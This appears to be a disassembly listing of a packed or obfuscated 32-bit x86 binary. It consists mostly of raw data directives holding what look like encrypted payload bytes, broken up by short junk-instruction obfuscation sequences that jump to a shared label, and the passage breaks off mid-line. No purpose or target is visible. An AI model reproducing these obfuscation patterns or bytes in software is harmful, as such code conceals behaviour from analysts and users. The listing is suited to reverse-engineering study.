66520000h, 5F5B97BBh, 22E9h dd 0F4191B00h, 346E2C83h, 9976BCF4h, 0F08166EBh, 84E9C46Ch dd 18FFFFFFh, 0DD515CCAh, 4D85089Eh, 4272E153h, 6A234ACh dd 7AA27C24h, 0DB3BB37Dh, 21807E0Ch, 9083B42Ah, 0C46F3025h dd 0A7863025h, 5C933998h, 8D893023h, 8486305Ah, 6BD78DA6h dd 2E86366Bh, 908642A1h, 4903F625h, 6A807E21h, 8BE93B4Dh dd 2DB2B1FEh, 0F75D886Eh, 578F85DAh, 0A40B366Bh, 96D74D04h dd 0B80DE0DAh, 2087B5E3h, 7AC8366Bh, 94677B90h, 71A204A4h dd 0BDB393B9h, 6FAF6190h, 0B103BD23h, 0B7806158h, 9D7EBBF5h dd 12863035h, 98638CCh, 1899625h, 4286302Bh, 2E4F3B6Ch dd 6F79C0A0h, 488BD9DAh, 0B90B3025h, 14C87E35h, 986359Dh dd 965CF25h, 16065D98h, 0A0BBD23h, 288064A4h, 0CEB61537h dd 4247FF0Eh, 6A234ACh, 7AA27C24h, 0DB3BB37Dh, 21807E0Ch dd 9083B42Ah, 0C46F3025h, 0A7863025h, 5E98398h, 22B9A4F3h dd 0E8000000h, 9, 0FFEC70B7h, 0EF55745Ch, 29B52B45h, 59064E05h dd 73EE8166h, 10C1810Bh, 66000059h, 0CBBBF78Bh, 817942C2h dd 42ACC2EBh, 14E979h, 0BAFC0000h, 0E05C22Eh, 2F03A488h dd 0AC87DE3Dh, 8E4E7A5Dh, 31FF9371h, 10E9h, 425FE400h dd 741473BEh, 5389E48Dh, 5031A3Dh, 0F6058A5h, 489h, 22BE6600h dd 6E9DFh, 70600000h, 0A288CCDFh, 65F08161h, 0F7C8FDDh dd 0F081F0BFh, 623594DCh, 0DE857h, 0C2BA0000h, 0FCEB6D19h dd 2E8EB5E6h, 5F28BA4Eh, 84C0815Eh, 894C3BC9h, 4E26C5BDh dd 0F018906h, 0E981FEBFh, 3CA908D5h, 59B4F781h, 0C1814BEDh dd 3CA908D1h, 0F39950Bh, 0F4B064Eh, 1785h, 0B18D8900h dd 0E9064E24h, 20h, 0CD8A30F6h, 0DA273F43h, 4FEDCAABh dd 0FFFF61E9h, 3C3566FFh, 87162FF6h, 0CB253DD4h, 0AE7D64FBh dd 5E8h, 42176100h, 0BF0FA146h, 0AE959DEh, 46000000h, 0C7DA1BF2h dd 0BC2554F1h, 19C18131h, 0E9000060h, 12h, 9EACF2F1h, 3B46EC49h dd 0E9AC939Bh, 0C2AB1250h, 0D1680B60h, 66000017h, 2535EB81h dd 0F9118B5Eh, 0EAA7C281h, 8B661551h, 1EEA81FAh, 0E91856D0h dd 6, 7A67A03Dh, 0C2813C00h, 722FCF1Ch, 12A98529h, 1189064Eh dd 0E8816660h, 81661DC9h, 61A0A1DEh, 6604E983h, 838E76BBh dd 850F01EEh, 16h, 0C95858Bh, 47E9064Eh, 4A000000h, 53A2491Ch dd 0B00790ECh, 13E8E527h, 3E000000h, 0ACCBB840h, 48F295E1h dd 0E8F01160h, 855EA9CDh, 0DE9E4C3h, 9D000000h, 9A7993D6h dd 0CB3606B6h, 0B45C3F72h, 0FF73E958h, 0D48BFFFFh, 0FBDA57D1h dd 0C11501B5h, 4EBD8AFh, 50AAC660h, 85CE9h, 2BA1AC00h dd 39B3C0AEh, 4C80CEBCh, 5597E1CFh, 5F9DEAD8h, 0A09291E2h dd 0AA9815D7h, 0B9A724D8h, 0C7B532AAh, 0EDC643B9h, 0B3275026h dd 0CE7B7D2h, 36DF9581h, 0D8A8BE27h, 0D2FA724h, 5615DCA3h dd 0C3830C79h, 7F67269Eh, 0C0EC79D6h, 7800D667h, 96B47454h dd 0F7806E10h, 0FA8A78F5h, 0E2726002h, 32F948EAh, 30C13B44h dd 252F647h, 0BF864DCAh dd 66371600h, 0CE26F53h, 0B7D85D6Bh, 2D9425ABh, 512F4A98h dd 6B46h, 0B6A4BB00h, 0A9032AAh, 0A2C28B79h, 0B57416D6h dd 0D61D8ED7h, 39BF458Bh, 20DCA997h, 0F5462F7Eh, 498F0451h dd 7296A3F4h, 4F169319h, 0EDDB1161h, 44CA6C60h, 5A794CB3h dd 2D63577Dh, 0D8000000h, 0E5BBF07Dh, 0BE273692h, 0D678FE84h dd 27367400h, 0E4351EBEh, 0F0EC7967h, 4937C84Eh, 0EE43C03Ch dd 2Ch, 0B12B3927h, 6DF8890Fh, 6410E5A4h, 0E15254EAh, 0D7156250h dd 161A5F35h, 0F3DCBE27h, 2B3725A2h, 9B890FB1h, 9C8A1BD1h dd 119C19D3h, 0A06741F3h, 74C6BACAh, 0B8C6B4B4h, 0D0A77D44h dd 3EB7D907h, 0A46B32B8h, 0D907A9CEh, 56E76DB7h, 44B8C6B4h dd 6C68F7Dh, 4331F875h, 9A20C23Ah, 99531B09h, 8BDD7FF7h dd 0DD6305C7h, 86BA9057h, 16AE26F7h, 303C5828h, 0E9436BCh dd 0F092187Dh, 94388972h, 0CE9512CAh, 4D2192E0h, 30479F34h dd 2CB254DAh, 13B5373Eh, 400EFC8Dh, 9314EA8Ch, 7DBE26DCh dd 0F0F5F7B6h, 72907F47h, 2AA7F8E1h, 0CCBA323Ch, 1DA34587h dd 0DBD09E8Ch, 0E7A68D1Ch, 4B217E0Eh, 0BE264E2Ch, 17DE64EAh dd 0FA05C29h, 2E04CB92h, 0BE264E49h, 2BB647CDh, 0B63043F3h dd 1A950637h, 0C9079218h, 0F5F77D3Eh, 3927EE6Ah, 1F0DAF2Dh dd 72F89A52h, 4D05BECh, 5A7E3111h, 0B6363E2Ch, 15FD8E14h dd 68h, 3043F38Ah, 0AB2762D5h, 0F5800658h, 62EFDDA4h, 0B142C86Ah dd 27369CDBh, 0C68C7ABEh, 0A4F58006h, 367007DDh, 189EBE27h dd 0BF9C087h, 0CB998745h, 7DF58011h, 0A470FBF1h, 367007DDh dd 9E44BE27h, 44AF56FBh, 293197Eh, 0B6A4C04Bh, 0B9133A9h dd 41257Ah, 9F5E0000h, 8783E769h, 0A4D3A927h, 72BE2726h dd 4AD566ECh, 0DE6943F3h, 36A9CEA4h, 389BE27h, 7D19A478h dd 0A470FBF1h, 6567EFDDh, 2736E88Fh, 19D39DBEh, 0E69D2EB4h dd 0F582581Fh, 19BE2736h, 7D770293h, 7D53F5F7h, 0BE2AA98Ch dd 0B35597DDh, 9C3EBEC5h, 0A328A4AEh, 592D69BAh, 0F57B1F70h dd 0C38C7AF7h, 0D9A06709h, 22B57403h, 8B1CA2BEh, 7A1CD09Dh dd 6A0CC08Ch, 0BF9F37Ch, 96E58745h, 0D1205CADh, 2C1A97E8h dd 0D0F86D26h, 7CF6A952h, 1E592FF6h, 0F0BE2318h, 62EBD96Ah dd 18245329h, 6CF2BE23h, 0C30269E6h, 19577A05h, 31h, 0BCF77D8Eh dd 0A076DF26h, 0BE26EDD7h, 11F2B137h, 7C1EA484h, 0B1785004h dd 73E019DBh, 0CF71F7B4h, 0CB7534FBh, 0AA4A11D8h, 0E5F48D9h dd 65E21A6Ah, 0F5F77DDAh, 0EFC58C53h, 0BE273688h, 0D57775FDh dd 4D23EA4Fh, 0BE27362Ah, 0F2E066ECh, 5DD56666h, 340AD13Bh dd 0B4752AA4h, 0E2956B32h, 34B7D933h, 3AB2C0AEh, 76FFEDB4h dd 0FD6EA73Dh, 64EADF7Bh, 2EAB3CC2h, 7DDA4A3h, 0BE273670h dd 0F87189Eh, 0C9FA856Fh, 0F5F77D3Eh, 463EE6Ah, 5A7E3111h dd 4F0Bh, 43F38000h, 0CEA4DE69h, 0BE2736A9h, 8DF77F6Dh dd 0DE8006C6h, 85559958h, 3F3AF4A7h, 19A42EB9h, 0C1C2F17Dh dd 8D98FB1Bh, 0B4FA850Bh, 0EF032EEDh, 0FAD04D9h, 4955721h dd 381679h, 904F0000h, 0E1B779ADh, 0BE265296h, 6C33F278h dd 63EE7FAEh, 0DE6943F3h, 36A9CEA4h, 389BE27h, 0A419A478h dd 2D3A96E5h, 30EAA923h, 86740527h, 4F3D04F8h, 0AD38C903h dd 0F77D29B4h, 0F5E3A3BCh, 26E8581Fh, 7130B6BEh, 0C74D33C6h dd 0D89F5E25h, 664112FBh, 9C6D43D4h, 7BE2A7Dh, 6250CD1Eh dd 0AF35D715h, 0AC20301Eh, 0B834412Fh, 32332F1h, 1DBF3D4Ah dd 9E9AD897h, 7A680A9Bh, 0FE4DEFEDh, 5947C415h, 200B960Dh dd 66A29F51h, 27B83EE0h, 33B02C39h, 0FBF17E6Ch, 0DB42D359h dd 57795BEAh, 41F4h, 0F77D6900h, 3699DEB4h, 0F77DBE27h dd 0B6BCAA71h, 4F0E9436h, 0FA880C6Eh, 48EA7B7Eh, 7D44ACD0h dd 75222DA7h, 0BB5DE3B4h, 30ADFEE7h, 2CE49369h, 0FAD0B7D9h dd 0B7D92C7Dh, 20A60B91h, 19D3A18Fh, 0F77D119Ch, 0B9DB53F5h dd 0FAC1884Fh, 27365324h, 0AC3DC3BEh, 74C122D6h, 0F16EF4B4h dd 7DDA466h, 0BE273670h, 2C914B15h, 0F99D15A6h, 0B6A48813h dd 0C9234A8h, 7D4ED97Bh, 402EF5F7h, 9D28B933h, 110463EEh dd 2C5A7E31h, 2902D36Dh, 0FF906925h, 3C17h, 43F38C00h dd 0CEA4DE69h, 0BE2736A9h, 0FCF07F6Dh, 19A4EB76h, 70FBF17Dh dd 62EFDDA4h, 36E3946Ah, 0AD33BE27h, 7A3922EEh, 0C657BADEh dd 0D289480Fh, 489528BAh, 16048F20h, 39h, 6943F38Bh, 7DDA4DEh dd 0BE273670h, 0EE904C15h, 8F7D0368h, 0E2680AC2h, 0C3B48A51h dd 6FBE2736h, 855B22E9h, 0BE2736F2h, 820D9E24h, 0F17D19A4h dd 384634FBh, 0B4A833C4h, 0F5F77D29h, 0A98C7D53h, 0EF7BE2Ah dd 914B19BDh, 5894DCCAh, 145C4AC7h, 63E9E370h, 0BD1749C1h dd 33412FF6h, 3A5228B9h, 72B4705Dh, 5BFDFF84h, 59DF44D5h dd 0B6A451DCh, 249C2DAFh, 0C90F9A72h, 0F5F77D3Eh, 0A463EE6Ah dd 70628AE5h, 284E35FEh, 5930BCACh, 43AA3BC1h, 5A7DF5D2h dd 3D4Ch, 0E5A4C100h, 4E7A1080h, 35C48EA5h, 0D778418h dd 0D87EF687h, 0DDA469F4h, 0C76963EFh, 9DDAB041h, 71BE2736h dd 0DDA460EBh, 36374016h, 51D7BE27h, 0F17D35C0h, 29B470FBh dd 2016h, 43F38B00h, 0CEA4DE69h, 0BE2736A9h, 0A4780389h dd 0FBF17D19h, 7DDA470h, 0BE273670h, 0D087189Eh, 0F5F77D45h dd 0A98C7D53h, 0EF7BE2Ah, 914B19BDh, 9E5E2614h, 0F8D084FCh dd 0BE3E4331h, 0A8242E1Ch, 3CA9122h, 0B511663Ch, 7F05BE22h dd 47FC18EEh, 8C12B470h, 0DDA4840Fh, 27367007h, 51189EBEh dd 2736FC7Bh, 3941ABEh, 0CC99EB8Bh, 0D1A76E10h, 0BE2736A6h dd 0D65CE268h, 7D3EC94Bh, 0EE6AF5F7h, 482C3927h, 9C22C438h dd 0FF867416h, 5BE677FDh, 7E311104h, 2F0B5Ah, 0F3800000h dd 0A4DE6943h, 2736A9CEh, 5CE76DBEh, 0F17D19A4h, 0EDB470FBh dd 36275026h, 61E7BE27h, 0E5A445D0h, 6B94C25Eh, 0D82DBE5Eh dd 16h, 6943F34Dh, 0A9CEA4DEh, 89BE2736h, 19A47803h, 70FBF17Dh dd 0F77D29B4h, 0C58C53F5h, 273688EFh, 6F0086BEh, 0A46B45F7h dd 367007DDh, 189EBE27h, 36EAC087h, 0E8B474C2h, 301EE562h dd 0CE2A923h, 0B7D90A6Bh, 1C9425ABh, 0A15B2878h, 8C2EAEB3h dd 0E3B98006h, 0AE2C7BAAh, 4E3CDE64h, 5B49C606h, 0E9E36F15h dd 0D4085947h, 0A026AC32h, 9A7037FEh, 0BE0C87DDh, 441AAB31h dd 670A35ABh, 0EB203ECh, 1B098646h, 7F59755h, 0CAB87F7Dh dd 81940AB9h, 0CEFE63E8h, 2715B748h, 1301A359h, 66EB8D4Fh dd 72F02C7Dh, 0CC943889h, 0DFA59310h, 3267B1Dh, 9B000000h dd 0F27D941Fh, 1A6A58FAh, 35240E2h, 293927C9h, 5A2311B3h dd 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h db 40h, 9Eh, 12h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push ebx push 794C45h mov ebx, [esp] add esp, 4 shl ebx, 3 add ebx, 28A2107h mov ecx, ebx pop ebx push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx xor dword ptr [esp], 2C55775h pop dword ptr [ebx+8] xor dword ptr [ebx+8], 2C55775h mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5426E1 ; --------------------------------------------------------------------------- db 55h, 22h, 58h dd 0AD767896h, 721FBCEBh, 8AE1B82Bh, 0C5030654h, 0B8B8E0FFh dd 0AFCE3838h, 0F0131C87h, 0D143275Dh, 87A55A2Bh, 0EBE31586h dd 93911EF8h, 6F2366B4h, 0D4162FF1h, 0E853724Ch, 52003B58h dd 0E6DF4D5Dh, 6A1C4612h, 0C1CC0B21h, 4A5729E8h, 71AF4FD7h dd 789E0F32h, 0F9AA1B7Fh, 887F613Fh, 0ABFD5D4Bh, 0C9D96906h dd 5D7968A9h, 8D8D6BFFh, 6548CA9h, 18199D8Bh, 880F064Eh dd 6, 9F1858Bh, 8D89064Eh, 64E2B05h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0AAC35747h, 5269C073h, 138B0Fh dd 0EE90000h, 0AD000000h, 107FE724h, 5CAD341h, 95126246h dd 6585C765h, 54064E2Bh, 89000058h, 4E14358Dh, 5D85C706h dd 64E06h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 5E9C352h, 1CF9EA23h, 235BF286h dd 25A9BD8Bh, 0B5FF064Eh, 64E064Dh, 81F0BF0Fh, 0D81B2FD6h dd 9995FF04h, 57064E0Fh, 5E51EF80h, 95FF006Ah, 64E1A59h dd 2FEBC08Bh, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 37AD0A09h dd 68908792h, 913AFF9Ah, 0A637D134h, 866181E7h, 0A1C07BADh dd 0F786DB78h, 7A92F0FBh, 0E8331A8Dh, 0Fh, 43E152FEh, 0AE7559F3h dd 3C8108BAh, 8B451482h, 4E2C9585h, 4CB05E06h, 7162C681h dd 95890000h, 64E02A9h, 8B0FD22Bh, 16h, 40BE6660h, 0AE815h dd 13390000h, 63341B34h, 0AFFF75E0h, 34FF615Ah, 0BD9D8B32h dd 59064E08h, 21B59D8Bh, 0C181064Eh, 36E349ABh, 0C79DE981h dd 0B5895F99h, 64E2C7Dh, 37C7E981h, 0AE913B8h, 0EB000000h dd 0BE425FE4h, 8D741473h, 160C89E4h, 1EBBD381h, 8D897AD2h dd 64E2AFDh, 0D9D8EA81h, 8D013BC3h, 64E3115h, 0D9D4C281h dd 858B3BC3h, 64E252Dh, 8F48FA81h, 850FFFFFh, 0FFFFFF96h dd 8D8DCEB7h, 6548EB3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0B4C35141h, 89186E68h, 4E2B058Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 74D74DC1h, 8B66BDE6h, 3860FF0h, 80000000h, 85C748C7h dd 64E2B65h, 6774h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0B8C35141h, 52F57A2Ah, 0C7E733E6h, 4E065D85h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 1D438B54h, 0B3AA3A1Eh, 0FFF8E139h dd 4E064DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 14840F41h, 0E9000000h, 0Fh, 8885D5D3h dd 8D17A2E5h, 0D85A4BF5h, 89CD2151h, 4E0DF18Dh, 9995FF06h dd 6A064E0Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B851C356h, 6A9FC2h, 1A5995FFh dd 0C08B064Eh, 0ACC32FEBh, 0D8293EF9h, 0AE9993F6h, 996A3016h dd 0DACB5E37h, 0AEDF0297h, 2599E87Ch, 69FD4F2Fh, 0D44B0FF5h dd 56699C11h, 5B61DCB0h, 0A58FD808h, 7E8D8D37h, 6A06548Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B4C5C355h, 910005B4h, 12CDBEC2h, 8D892AECh dd 64E2B05h, 1A359D89h, 85C7064Eh, 64E2B65h, 5BACh, 20258589h dd 85C7064Eh, 64E065Dh, 0 dd 0FFFE8B66h, 4E26F5B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 75A081Dh, 440887BAh dd 0F9995FFh, 890F064Eh, 5, 3C38166h, 0FF006A8Ah, 4E1A5995h dd 0EBC08B06h, 0D7D2B60Eh, 770C7F73h, 51CCB660h, 8D16A4EDh dd 54904F8Dh, 75BD2906h, 89064E26h, 4E2B058Dh, 0D9852906h dd 66064E12h, 85C7FE8Bh, 64E2B65h, 6624h, 65D85C7h, 64Eh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E319F0C3h, 0C09DBA65h, 8E8h, 2FBF9D00h dd 68286FF9h, 10E882h, 0D6B20000h, 4456055Ah, 0D1842ADAh dd 7E571567h, 5BF8E157h, 0AEBB525Ah, 5E591CACh, 2605B531h dd 0B5FF064Eh, 64E162Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0F9C35343h, 263002CEh, 95FF42D4h, 64E0F99h dd 1419858Bh, 6A064Eh, 1A5995FFh, 0C08B064Eh, 1F5C68EBh dd 0BEE0C6D2h, 743F1A81h, 6D7C490Eh, 0D7001B30h, 0C1F64651h dd 563C150Ah, 0BE70992Dh, 2F65C611h, 0BB2E650Fh, 0A4E1CD10h dd 0FBBF098Ah, 5679D7F8h, 2D996040h, 2DE59592h, 330A4F26h dd 5D7B884Bh, 3CA8D13Fh, 1C5A47FBh, 119E8439h, 0EEE8BB26h dd 53517A4Eh, 6A05A685h, 87D6691Ch, 0BAFA8814h, 54F06D3Ch dd 0EE8D56Ah, 58000000h, 0FEE96267h, 0A1F895C7h, 0BA5D6C80h dd 0AE9A5h, 47050000h, 15AE1674h, 13B621F8h, 0F88B6658h dd 632AC081h, 29600000h, 4E0ECDBDh, 0BA61FC06h, 1893h dd 58BF6650h, 30FF59F2h, 0ED9D8B60h, 0E9064E18h, 0Eh, 348F6148h dd 0FD6126A7h, 450C55DBh, 5B61FCF0h, 2BDB58Bh, 0C381064Eh dd 627BB90Dh, 81FE8B66h, 48B6F6F3h, 6E935h, 7F8D0000h dd 0E6BEBFA6h, 0E5BEF381h, 95893B21h, 64E1315h, 3850F53h dd 0F000000h, 8FF6B7h, 83CF8B66h, 8D0903E8h, 64E02F5h dd 0B5958948h, 81064E06h, 1EAh, 18850F00h, 0E9000000h dd 2Dh, 66D9007Dh, 1232F55Ah, 0F245A645h, 0C3BF6198h, 668DC2E6h dd 264EDE81h, 0FFFF69E9h, 0ACEB7DFFh, 946DF881h, 2A1229A8h dd 71DD428Ch, 818D8D80h, 0F065492h, 283h, 8917B400h, 4E2B058Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 891A5E24h, 4E3109B5h, 6585C706h, 40064E2Bh dd 0E800006Bh, 0Dh, 75CEE215h, 0D1BBF57Dh, 26FA9C6Ch, 85C75B9Eh dd 64E065Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8AC35242h dd 7B110D12h, 5BBA6654h, 55B5FFEDh, 6A064E16h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 8056C356h, 4E91D4CBh, 95FF70BBh, 64E0F99h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 8DC35545h, 51D9A591h dd 46E480B0h, 95FF006Ah, 64E1A59h, 38EBC08Bh, 24384504h dd 18682E40h, 0ED14AAA5h, 522257E9h, 0E72695BDh, 7A8A5701h dd 0CE8E9555h, 35C1DB09h, 0E8D59C3Dh, 0F464878h, 0E94C4012h dd 66794730h, 9DF7E8FAh, 43E2C83Bh, 50EF04EBh, 1BE904CFh dd 46000005h, 5644C13Bh, 6452CF0Dh, 7765E21Ah, 8472EFEDh dd 338401FBh, 0B73542F0h, 0C6064C3Ah, 0D8145B49h, 0E5E76D5Bh dd 0F2C88F68h, 0B7D2A485h, 7D23AE89h, 8C53F5F7h, 3688EFC5h dd 86BE27h, 0F8F4816Fh, 17EDB47Bh, 0BE273660h, 0A99728AEh dd 917F21DBh, 796709C3h, 7C58CE8h, 4218DF65h, 0BE273635h dd 2BCD53D9h, 791D6E57h, 4F889EBh, 64EEDC62h, 0BA40C668h dd 0CC004F3Dh, 7212614Fh, 0FAF27EE6h, 3927EE74h, 890FB12Bh dd 1A6856F8h, 35240E2h, 2F3927C9h, 77600BADh, 836CEA26h dd 0CCC78E32h, 0FD4099A8h, 6531AF2Eh, 0B7F9648Bh, 402EAB31h dd 441ABC30h, 0BE271B30h, 8B11D097h, 0C603E1D2h, 67B8A132h dd 7D577B4Ah, 4E6157h, 7DD60000h, 7D53F5F7h, 0BE2736FCh dd 7895E6CFh, 577E244Dh, 18Fh, 0F47D0400h, 1B6856F8h, 7513FE1h dd 4110FEC5h, 8458FA8Bh, 0DDA64A9Bh, 1C6A581Fh, 6C60F2E0h dd 0E0705EDBh, 2D8563B3h, 48A637Bh, 0D7A0763Dh, 37BE2705h dd 18A320B1h, 5AFCF07Dh, 1EE5E76Ch, 9AB2130h, 150F283h dd 5A23C718h, 293725A2h, 834A11B3h, 2736CAADh, 35C64CBEh dd 1BBD3F47h, 5A7252Dh, 0EB8D4F17h, 2662B39Ch, 0D3A97037h dd 0BE2736A4h, 725BEC72h, 3B110421h, 640B577Eh, 80000000h dd 5AFCF07Dh, 23EAE26Ch, 0CAE2E35h, 7F53F586h, 41BBCAB8h dd 9F88199Fh, 1FDDAA4Eh, 31ABB4A2h, 4D09C88Fh, 9AE76F41h dd 71FBE97Ah, 1EAD97Bh, 4A8293B0h, 52BC577Dh, 0F5000000h dd 3B1F582Eh, 1EFBE26h, 62F37973h, 0AAB6A4D7h, 1C0A9032h dd 1B099A52h, 0AF89A52h, 5ADF817Bh, 0F37C2071h, 7DF17CF9h dd 4331F8F4h, 971DBF3Dh, 0E68E6406h, 0E1BE2736h, 3B8AA7F8h dd 0C2577E24h, 9FE58FD4h, 0AF35BB5Dh, 0EF6870Dh, 1, 0FBF17D83h dd 0E7E56B59h, 43126120h, 77C685E8h, 21E01055h, 0B34412F1h dd 59AA9311h, 0B633A9B5h, 0EBB21A3Eh, 74496B15h, 400DFBB4h dd 1CA25A24h, 0FE63F47Ah, 0E2166137h, 72F8B7D8h, 283725ECh dd 0FB8C12B4h, 0E7E56B59h, 0F8F47C6Ah, 0E2F98056h, 0CB94B7D8h dd 0F1816F11h, 88440DFBh, 2E491FE6h, 0E0B7D8E2h, 4C9D865Ah dd 0D6C48B10h, 0D5BE4F8Dh, 0F490E084h, 0F07F6D6Fh, 32F976FCh dd 22C43844h, 571D0B9Ch, 92E0CE95h, 74968621h, 149A5C17h dd 2C2DEC72h, 34DB86F2h, 3927C95Ah, 0FCEAB12Bh, 4ED47676h dd 47D81460h, 1C6D56A5h, 0C78CE878h, 57DD6305h, 855273DAh dd 718C512Fh, 1000001h, 502641F3h, 0BE273627h, 14DB61E7h dd 74D8063Eh, 0CE9886B4h, 7B1DDFA6h, 79DE6FF5h, 1D6351F3h dd 68EEEE77h, 7577FDEBh, 5D9FE5D3h, 4587CDBBh, 31ABB5A3h dd 0D0210A8Fh, 0B5C4594h, 66E31967h, 49DFE09Fh, 0A44E1119h dd 6C19AC13h, 64C3512Fh, 38000000h, 0A46B4DF3h, 273699CEh dd 24F3DBEh, 4A2D03CAh, 0CCBE2736h, 481EC046h, 0BE27362Fh dd 98E4D299h, 99EAD364h, 0AA222E1Ch, 0CB948208h, 58E96F11h dd 9158B0E0h, 3683F4CAh, 0D93BE27h, 27EEB57Ch, 27362651h dd 0D162E8BEh, 27366CFBh, 0EC7A68BEh, 33FA5FF0h, 27361A5Dh dd 0F076FCBEh, 0BA1E73h, 0A4930000h, 6765EFDDh, 2736E691h dd 11A228BEh, 460DE799h, 75276470h, 0C264EAB4h, 3178CD4h dd 774DC8h, 0EB7D90Bh, 65BBC988h, 0C7054C3Ah, 8ED6C441h dd 0F7E5AC4Eh, 807C066Eh, 30D258DEh, 334319AAh, 0DB7D8ADh dd 212FD324h, 82B62EABh, 7138B4C2h, 0D8AEDC9Bh, 2EB43AB7h dd 0ADCAA067h, 7B7D8AEh, 8F76BC5h, 0A0268B14h, 882AA2B2h dd 0D4AA7102h, 0AE2BDBDFh, 998729AFh, 0F16F11CBh, 0D789B708h dd 5F7736FDh, 0E954B99Eh, 4B17EAA6h, 900BA58Ch, 0E46A0CC0h dd 3F06CD5Eh, 2D4DFB80h, 27B85625h, 5F9F6251h, 373E2CB4h dd 0EBB22FB5h, 1CD3C42Ch, 0D1BFCA6Eh, 2DB84983h, 0A06741F3h dd 882AA2B2h, 0D4AA7102h, 0B47A57DFh, 0C08729AFh, 0A45423F9h dd 3CC2B7D2h, 35B7BDABh, 42BACAB8h, 0DC07CAA0h, 634CB52Eh dd 0E6E66E12h, 0F7F57B69h, 8DF47130h, 0FD3EF046h, 90DCCA6Ch dd 533CBA5Ch, 0D6165E02h, 9755210Fh, 0D59B8906h, 3207517h dd 95000000h, 0F27D941Fh, 1A6A58FAh, 35240E2h, 293927C9h dd 5A2311B3h, 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h dd 68129E40h, 3F61h, 89240489h, 405E0h, 0E8830000h, 24048704h dd 0E789575Ch, 4C781h, 0EF830000h, 243C8704h, 243C895Ch dd 1B8F68h, 242C8900h, 5492C968h, 243C8B06h, 4C481h, 8B540000h dd 0C483242Ch, 4EC8304h, 8F243C89h, 34FF0845h, 0C4815D24h dd 4 db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5426E1 ; --------------------------------------------------------------------------- db 0A0h dd 6DB8C71Eh, 3065497h, 4AE0FFC5h, 99364B92h, 5775084Eh dd 526D7F33h, 80661F8Ch, 0F774606Fh, 0E820444Eh, 12h, 99905E7Ah dd 1292983Dh, 6F8EA4E5h, 65A5B5B7h, 8B66F50Ch, 0F98B5BCEh dd 5B3AC381h, 66600000h, 609557BFh, 3612F6BAh, 0EEC804Ah dd 77B86161h, 811AD7CEh, 284828C0h, 138BFCE5h, 0BB5E5360h dd 2DAD2C36h, 0DBC28161h, 66321580h, 0E305EE81h, 0BE54EA81h dd 73BF2FF5h, 81231335h, 0FE62D7EAh, 8F52F974h, 0EB83F503h dd 4BCA8B01h, 81664B4Bh, 8127B0EFh, 1E8h, 21850F00h, 0F000000h dd 387h, 0FA8B6600h, 35E9h, 9E64C600h, 0D9EA0371h, 0DE43F608h dd 4117B68Dh, 6D720188h, 5840Fh, 0AFBE0000h, 0E90C950Eh dd 0FFFFFF8Ah, 0D05DB4Dh, 1788873Ah, 0C789C0D3h, 0DDCE1A36h dd 85C63465h, 64E0401h, 30DF6856h, 0B5FFA9C5h, 64E24C9h dd 7D21858Dh, 0D0FF0651h, 14098D8Dh, 6A51064Eh, 29B5FF40h dd 0FF064E18h, 4E2B3DB5h, 0FFD0FF06h, 4E1829B5h, 3DB5FF06h dd 0E8064E2Bh, 0Dh, 4533ACFDh, 0B0A4D7FDh, 0D8F1237Ah dd 835F5F2Eh, 2CC104EFh, 24C10224h, 3C030224h, 241CF724h dd 348BDB2Bh, 6CC6811Fh, 8100337Ah, 0BD6F92EEh, 7EF6815Eh dd 56382CD1h, 831F048Fh, 3B4B03EBh, 850F241Ch, 0FFFFFFDAh dd 129D9D8Dh, 38B064Eh, 840FC00Bh, 7, 5B8B038Bh, 8B188904h dd 0ABE9C9h, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0A601E800h, 323D94E7h, 